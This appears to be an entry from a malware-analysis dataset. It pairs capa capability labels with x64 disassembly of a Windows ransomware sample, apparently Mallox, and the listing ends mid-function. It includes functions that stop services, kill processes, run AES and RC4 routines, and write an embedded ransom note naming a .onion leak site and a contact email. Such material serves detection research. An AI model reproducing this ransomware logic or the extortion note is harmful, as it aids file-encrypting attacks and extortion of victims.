joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003d80
Capabilities:
Hash data using murmur3

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov esi, r9d
mov edi, r8d
mov rbx, rdx
mov r14, rcx
test r9d, r9d
je 0x140003e01
lea eax, [r8 - 2]
mov r9d, r8d
and eax, 0xf
and r9d, 0xf
mov r11d, dword [rdx + rax*4]
lea eax, [r8 + 1]
and eax, 0xf
mov ecx, r11d
rol ecx, 0xf
mov r10d, dword [rdx + rax*4]
mov eax, r10d
ror eax, 7
mov edx, r10d
rol edx, 0xe
xor edx, eax
shr r10d, 3
xor edx, r10d
mov eax, r11d
rol eax, 0xd
xor ecx, eax
shr r11d, 0xa
lea eax, [r8 - 7]
xor ecx, r11d
and eax, 0xf
add edx, ecx
add edx, dword [rbx + rax*4]
add dword [rbx + r9*4], edx
mov r10d, dword [rbx + r9*4]
jmp 0x140003e0a
mov eax, edi
and eax, 0xf
mov r10d, dword [rdx + rax*4]
mov rbx, qword [rsp + 8]
mov eax, 0xfffffffc
sub eax, edi
mov r11d, edi
and eax, 7
not r11d
and r11d, 7
mov r8d, dword [r14 + rax*4]
mov eax, 0xfffffffe
sub eax, edi
mov r9d, r8d
and eax, 7
ror r9d, 0xb
mov edx, dword [r14 + rax*4]
mov eax, r8d
rol eax, 7
mov ecx, edx
xor r9d, eax
mov eax, r8d
ror eax, 6
xor r9d, eax
mov eax, 0xfffffffd
sub eax, edi
and eax, 7
xor ecx, dword [r14 + rax*4]
lea rax, [0x1400446f0]
and ecx, r8d
xor ecx, edx
add r9d, ecx
lea ecx, [rdi + rsi]
mov rsi, qword [rsp + 0x10]
add r9d, dword [rax + rcx*4]
mov eax, 3
sub eax, edi
add r9d, r10d
add dword [r14 + r11*4], r9d
and eax, 7
mov ecx, dword [r14 + r11*4]
add dword [r14 + rax*4], ecx
mov eax, edi
neg eax
mov ecx, 2
and eax, 7
sub ecx, edi
and ecx, 7
mov r10d, dword [r14 + rax*4]
mov eax, 1
mov edx, dword [r14 + rcx*4]
sub eax, edi
mov rdi, qword [rsp + 0x18]
and eax, 7
mov r9d, r10d
ror r9d, 0xd
mov r8d, dword [r14 + rax*4]
mov eax, r10d
rol eax, 0xa
xor r9d, eax
mov eax, r10d
ror eax, 2
xor r9d, eax
mov eax, r8d
xor eax, r10d
and r8d, r10d
and edx, eax
or edx, r8d
add r9d, edx
add dword [r14 + r11*4], r9d
mov r14, qword [rsp + 0x20]
ret

Function at 0x1400051a8
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, qword [rsp + 0x80]
xor ebx, ebx
mov rsi, r8
test rdx, rdx
je 0x140005241
test r8, r8
je 0x140005241
test rbp, rbp
je 0x140005241
lea rax, [r11 - 0x28]
mov qword [r11 - 0x28], rbx
lea r9d, [rbx + 2]
mov qword [r11 - 0x38], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
cmp eax, 5
je 0x140005241
test eax, eax
jne 0x140005238
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 4]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
sete bl
mov eax, ebx
jmp 0x140005243
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001a000
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400054d8
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140005532
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140005532
inc ebx
cmp ebx, 0x32
jl 0x14000550f
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x140005550
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400055aa
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400055aa
inc ebx
cmp ebx, 0x32
jl 0x140005587
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140005e6c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x70
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x140058e48], 0
lea r12, [0x140058e60]
mov rsi, rcx
jne 0x140005f46
lea rcx, [0x140055b78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.14000533c
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbp, eax
xor r8d, r8d
lea r15, str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nWe_have_downloaded_your_confidential_data_and_are_ready_to_publish_it_on_our_blog_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n6_After_payment__you_will_receive_a_tool_for_decrypting_files__and_we_will_delete_the_data_that_was_taken_from_you_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
mov dl, byte [r8 + r15]
mov r9d, ebx
add r9, r12
mov byte [r9], dl
cmp dl, 0x7b
jne 0x140005f25
lea eax, [r8 + 1]
cmp byte [rax + r15], 0x69
jne 0x140005f25
lea eax, [r8 + 2]
cmp byte [rax + r15], 0x64
jne 0x140005f25
lea edi, [r8 + 3]
cmp byte [rdi + r15], 0x7d
jne 0x140005f25
mov r8, rbp
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.14001d300
dec ebx
mov r8d, edi
add ebx, ebp
inc ebx
inc r8d
cmp r8d, 0x561
jb 0x140005edb
lea rcx, [0x140055b78]
mov dword [0x140058e48], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005fa1
mov r8d, dword [0x140058e48]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14001a000
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x14000b6cc
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0x28], 0
mov r14, rdx
mov rsi, rcx
jne 0x14000b718
mov rdi, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
je 0x14000b718
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.14000c6b8
cmp rax, 0xffffffffffffffff
jne 0x14000b70d
add rdi, 0x60
cmp rdi, qword [rsi + 0x10]
jne 0x14000b6ef
jmp 0x14000b718
mov rdx, rdi
mov rcx, rsi
call fcn.14000d39c
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000b750
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14000d39c
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x14000d542
and dword [rbp + 0xf], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp qword [rbx + 0x18], 8
mov rsi, rax
jb 0x14000d3e5
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 7], rax
mov rbx, rax
test rax, rax
je 0x14000d542
and qword [rsp + 0x50], 0
or edx, 0xffffffff
and qword [rsp + 0x48], 0
mov r9d, edx
and qword [rsp + 0x40], 0
mov r8d, 4
and qword [rsp + 0x38], 0
mov rcx, rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d539
cmp dword [rbp + 0x1b], 1
je 0x14000d539
jmp 0x14000d4c3
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d539
cmp dword [rbp + 0x1b], 1
je 0x14000d539
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000d539
cmp dword [rbp + 0x1b], 3
je 0x14000d479
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.14000d564
mov rbx, qword [rbp + 7]
lea r8, [rbp + 0x17]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000d539
jmp 0x14000d533
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000d539
cmp dword [rbp + 0x1b], 1
je 0x14000d539
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000d539
cmp dword [rbp + 0x1b], 1
jne 0x14000d4f1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14001a000
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000dfd0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rcx
xor ecx, ecx
test r9, r9
je 0x14000e0f4
cmp r9, 0x40
jb 0x14000e0c7
lea r11, [r9 - 1]
lea rax, [r8 - 1]
add r11, r10
add rax, r9
cmp r10, rax
ja 0x14000e008
cmp r11, r8
jae 0x14000e0c7
lea rax, [rdx - 1]
add rax, r9
cmp r10, rax
ja 0x14000e01d
cmp r11, rdx
jae 0x14000e0c7
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp], rdi
mov rdi, r9
and rdi, 0xffffffffffffffc0
mov r11, rdx
lea rax, [r8 + 0x10]
sub r11, r8
mov rbx, r10
sub rbx, r8
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x40
movdqu xmm1, xmmword [r11 + rax - 0x10]
movdqu xmm2, xmmword [r11 + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [r11 + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [r11 + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp rcx, rdi
jb 0x14000e050
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
cmp rcx, r9
jae 0x14000e0f4
sub rdx, r8
lea rax, [rcx + r8]
sub r10, r8
sub r9, rcx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rax + rdx]
xor cl, byte [rax]
mov byte [rax + r10], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x14000e0e0
add rsp, 8
ret
Function at 0x14000e100
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
xor esi, esi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
mov qword [rsp + 0x30], rsi
lea rdx, [rsp + 0x38]
mov rdi, rcx
movups xmmword [rsp + 0x38], xmm0
call fcn.14000f0c0
test eax, eax
jne 0x14000e2b8
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x1400569e4], esi
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x14000e1ce
mov eax, 1
mov dword [0x1400569e4], 1
xor ecx, ecx
cpuid
mov dword [0x140056bf0], eax
mov dword [0x140056bf4], ebx
mov dword [0x140056bf8], ecx
mov dword [0x140056bfc], edx
mov dword [0x1400569e8], ecx
jmp 0x14000e1d4
mov ecx, dword [0x1400569e8]
test cl, 2
jne 0x14000e2b1
mov qword [rdi + 0xe0], rsi
mov qword [rdi + 0x60], rsi
mov ebx, 4
nop dword [rax]
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x14000e1f0
mov esi, 2
mov ebx, esi
nop dword [rax]
lea rcx, [rdi + 0x60]
mov r9, qword [rcx + rbx*8]
lea rdx, [rdi + 0xe0]
mov r8, qword [rdx + rbx*8]
lea rcx, [rcx + rbx*8]
lea rdx, [rdx + rbx*8]
cmp rbx, 1
jle 0x14000e2a4
sub rdx, rdi
lea rax, [rdi + 0x68]
sub rcx, rdi
lea r10, [rdx - 0x60]
lea r11, [rcx - 0x60]
lea rdx, [rbx - 1]
nop word [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [r10 + rax], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [r11 + rax - 8], rcx
sub rdx, 1
jne 0x14000e280
lea eax, [rsi + rsi]
add rbx, rbx
mov esi, eax
cmp eax, 8
jle 0x14000e240
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001a000
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x14000f800
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm1, xmmword [rdx]
aeskeygenassist xmm0, xmm1, 1
pshufd xmm3, xmm0, 0xff
pxor xmm3, xmm1
movups xmmword [rcx], xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
aeskeygenassist xmm0, xmm3, 2
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x10], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x20], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x30], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x40], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x50], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x60], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
movdqa xmm3, xmm2
pxor xmm0, xmm1
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x70], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x1b
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x80], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x36
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x90], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm1, xmm3
pxor xmm1, xmm0
pslldq xmm3, 4
pxor xmm1, xmm3
movdqu xmmword [rcx + 0xa0], xmm1
ret
Function at 0x140016ea0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movzx eax, r9b
mov rdi, r8
movzx r11d, al
mov rbx, rdx
and r11b, 0x1f
shr eax, 5
mov r10, rcx
and eax, 0x80000003
jge 0x140016eda
dec eax
or eax, 0xfffffffc
inc eax
movzx ecx, al
movzx ebp, r11b
mov r9d, dword [r8 + rcx*4]
mov ecx, 0x20
sub cl, r11b
movzx edx, cl
xor ecx, ecx
test r11b, r11b
bswap r9d
cmove edx, ecx
sub rbx, r10
movzx esi, dl
lea r11d, [rcx + 4]
nop word [rax + rax]
inc al
lea r10, [r10 + 4]
and al, 3
movzx ecx, al
mov r8d, dword [rdi + rcx*4]
mov ecx, esi
bswap r8d
mov edx, r8d
shr edx, cl
mov ecx, ebp
shl r9d, cl
or edx, r9d
mov r9d, r8d
bswap edx
xor edx, dword [rbx + r10 - 4]
mov dword [r10 - 4], edx
sub r11, 1
jne 0x140016f10
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140019f40
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rdi
sub rsp, 0x70
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov eax, dword [rcx + 8]
mov rdi, rcx
test eax, eax
jne 0x140019fce
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x88], rbx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rbx, qword [rsp + 0x30]
mov ecx, 0x100000
test eax, eax
cmove rbx, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov rax, rbx
div qword [rdi]
mov rbx, qword [rsp + 0x88]
mov r8, rax
mov eax, 3
test r8d, r8d
cmove r8d, eax
mov eax, 0xa
cmp r8d, dword [rsp + 0x40]
cmovae r8d, dword [rsp + 0x40]
cmp r8d, eax
cmovb eax, r8d
mov dword [rdi + 8], eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14001a000
add rsp, 0x70
pop rdi
ret

Function at 0x140022850
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002267c
Function at 0x14002ab24
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14002ab01
call fcn.1400250c0
mov dword [rax], 0x16
call fcn.1400220b8
or eax, 0xffffffff
jmp 0x14002ab1e
sub dword [rcx + 0x10], 1
jns 0x14002ab10
add rsp, 0x28
jmp 0x1400331e4
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14002aae0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x140033216
call fcn.1400250c0
mov dword [rax], 0x16
call fcn.1400220b8
jmp 0x140033333
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140033333
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140033333
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140033245
lock or dword [rcx + 0x14], 0x10
jmp 0x140033333
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140033259
call fcn.1400358ac
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.14002a6b0
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.140034a44
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140033321
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x1400332ec
mov rcx, rdi
call fcn.14002a6b0
cmp eax, esi
je 0x1400332d7
mov rcx, rdi
call fcn.14002a6b0
cmp eax, 0xfffffffe
je 0x1400332d7
mov rcx, rdi
call fcn.14002a6b0
movsxd rbx, eax
lea r14, [0x140055410]
mov rcx, rdi
sar rbx, 6
call fcn.14002a6b0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1400332de
lea rdx, [0x140053270]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400332ec
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x140033310
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x140033310
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x140033310
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x140033336
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140033350
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x140033076
call fcn.1400250c0
mov dword [rax], 0x16
call fcn.1400220b8
jmp 0x1400331c1
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400331c1
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400331c1
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400330a5
lock or dword [rcx + 0x14], 0x10
jmp 0x1400331c1
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400330b9
call fcn.1400358ac
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x1400330c9
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x1400330cc
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.14002a6b0
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.140034a44
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x1400331af
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14003315d
mov rcx, rbx
call fcn.14002a6b0
cmp eax, 0xffffffff
je 0x140033148
mov rcx, rbx
call fcn.14002a6b0
cmp eax, 0xfffffffe
je 0x140033148
mov rcx, rbx
call fcn.14002a6b0
movsxd rdi, eax
lea r14, [0x140055410]
mov rcx, rbx
sar rdi, 6
